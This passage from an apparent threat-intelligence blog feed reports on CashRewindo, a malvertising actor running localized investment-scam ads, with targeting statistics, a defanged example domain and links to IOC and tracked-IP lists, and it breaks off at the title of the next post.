src="https://substackcdn.com/image/fetch/$s_!jtIa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe70269b9-7f76-49b2-86db-fb776551d29a_875x434.png" width="875" height="434" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e70269b9-7f76-49b2-86db-fb776551d29a_875x434.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:434,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!jtIa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe70269b9-7f76-49b2-86db-fb776551d29a_875x434.png 424w, https://substackcdn.com/image/fetch/$s_!jtIa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe70269b9-7f76-49b2-86db-fb776551d29a_875x434.png 848w, https://substackcdn.com/image/fetch/$s_!jtIa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe70269b9-7f76-49b2-86db-fb776551d29a_875x434.png 1272w, https://substackcdn.com/image/fetch/$s_!jtIa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe70269b9-7f76-49b2-86db-fb776551d29a_875x434.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>The Behavior</strong></p><p>From tracking this actor&#8217;s behavior, we&#8217;ve also noticed that the majority of the IOCs come from a few IPs that are virtualized in slow and steady cycles. That is, we&#8217;ve seen relative low volume and less aggressive domain churn compared to other threats we track &#8212; we&#8217;ve recorded 1,569,083 impressions over a period of 12 months, and the majority of its recorded targeting is Windows devices:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rWwd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rWwd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png 424w, https://substackcdn.com/image/fetch/$s_!rWwd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png 848w, https://substackcdn.com/image/fetch/$s_!rWwd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png 1272w, https://substackcdn.com/image/fetch/$s_!rWwd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rWwd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png" width="600" height="371" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:371,&quot;width&quot;:600,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!rWwd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png 424w, https://substackcdn.com/image/fetch/$s_!rWwd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png 848w, https://substackcdn.com/image/fetch/$s_!rWwd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png 1272w, https://substackcdn.com/image/fetch/$s_!rWwd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F769e0b67-c856-4951-92b5-d87f7c28a6f7_600x371.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">target distribution by device</figcaption></figure></div><p>In addition, one of the most striking quirks about this actor is the diversity of targeting. <strong>CashRewindo&#8217;s</strong> attacks are spread across Europe, Asia, Africa, and the Americas with oddly tailored campaigns &#8212; customized language, local currency and all.</p><p>Here&#8217;s another recent one targeting Brazil (a geo very rarely observed in investment scams). Notice the tailored language and attention to detail, the choice of the creative imagery that&#8217;s very specific to the location. <em><strong>CashRewindo</strong></em> is really a master in localization.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!62OW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!62OW!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif 424w, https://substackcdn.com/image/fetch/$s_!62OW!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif 848w, https://substackcdn.com/image/fetch/$s_!62OW!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif 1272w, https://substackcdn.com/image/fetch/$s_!62OW!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!62OW!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif" width="320" height="266.8936170212766" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:196,&quot;width&quot;:235,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!62OW!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif 424w, https://substackcdn.com/image/fetch/$s_!62OW!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif 848w, https://substackcdn.com/image/fetch/$s_!62OW!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif 1272w, https://substackcdn.com/image/fetch/$s_!62OW!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad917ba0-df33-46d3-86ff-c72a8b30ed30_235x196.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption"><em>creative (tynbox[.]com)</em></figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MLwi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MLwi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg 424w, https://substackcdn.com/image/fetch/$s_!MLwi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg 848w, https://substackcdn.com/image/fetch/$s_!MLwi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!MLwi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MLwi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg" width="800" height="600" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:600,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!MLwi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg 424w, https://substackcdn.com/image/fetch/$s_!MLwi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg 848w, https://substackcdn.com/image/fetch/$s_!MLwi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!MLwi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6205ca11-c28f-4ae7-aa29-814a0c555597_800x600.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;">landing page</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!I8vw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!I8vw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png 424w, https://substackcdn.com/image/fetch/$s_!I8vw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png 848w, https://substackcdn.com/image/fetch/$s_!I8vw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png 1272w, https://substackcdn.com/image/fetch/$s_!I8vw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!I8vw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png" width="875" height="664" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:664,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!I8vw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png 424w, https://substackcdn.com/image/fetch/$s_!I8vw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png 848w, https://substackcdn.com/image/fetch/$s_!I8vw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png 1272w, https://substackcdn.com/image/fetch/$s_!I8vw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F006d2ff7-3fd5-4979-9614-c57dd89df5ff_875x664.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;">uncloaked page tynbox[.]com</p><p>&#8220;Geo-diversity&#8221; by the numbers:</p><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/4e5b7696492d9e62a5ab2af8b8678507/raw/34e3615238fdd2621c00e54d76058f70a60ff9cf/impressions2.csv">https://gist.githubusercontent.com/dyarochewsky/4e5b7696492d9e62a5ab2af8b8678507/raw/34e3615238fdd2621c00e54d76058f70a60ff9cf/impressions2.csv</a></strong></p><h2><strong>Appendix A: IOC Pi&#241;ata (as of Nov 1st)</strong></h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ujdd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ujdd!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif 424w, https://substackcdn.com/image/fetch/$s_!ujdd!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif 848w, https://substackcdn.com/image/fetch/$s_!ujdd!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif 1272w, https://substackcdn.com/image/fetch/$s_!ujdd!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ujdd!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif" width="480" height="270" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:270,&quot;width&quot;:480,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!ujdd!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif 424w, https://substackcdn.com/image/fetch/$s_!ujdd!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif 848w, https://substackcdn.com/image/fetch/$s_!ujdd!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif 1272w, https://substackcdn.com/image/fetch/$s_!ujdd!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83173ef8-daa5-4ed0-805c-04cdfc9042e3_480x270.gif 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/3917d1464901c9969f68df601182a7e7/raw/7adaa8dcb6e6de69b79179ec192e726913ba02c0/iocs.csv">https://gist.githubusercontent.com/dyarochewsky/3917d1464901c9969f68df601182a7e7/raw/7adaa8dcb6e6de69b79179ec192e726913ba02c0/iocs.csv</a></strong></p><h2><strong>Appendix B: Tracked IPs</strong></h2><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/1e09ceac5e50c3a2a1ec951b0b99419b/raw/f09afb28fb1457333d97890db3c84fc07f7f5fb5/isps.csv">https://gist.githubusercontent.com/dyarochewsky/1e09ceac5e50c3a2a1ec951b0b99419b/raw/f09afb28fb1457333d97890db3c84fc07f7f5fb5/isps.csv</a></strong></p>]]></content:encoded></item><item><title><![CDATA[How One "Crypto Drainer" Template Facilitates Tens Of Millions Of Dollars In 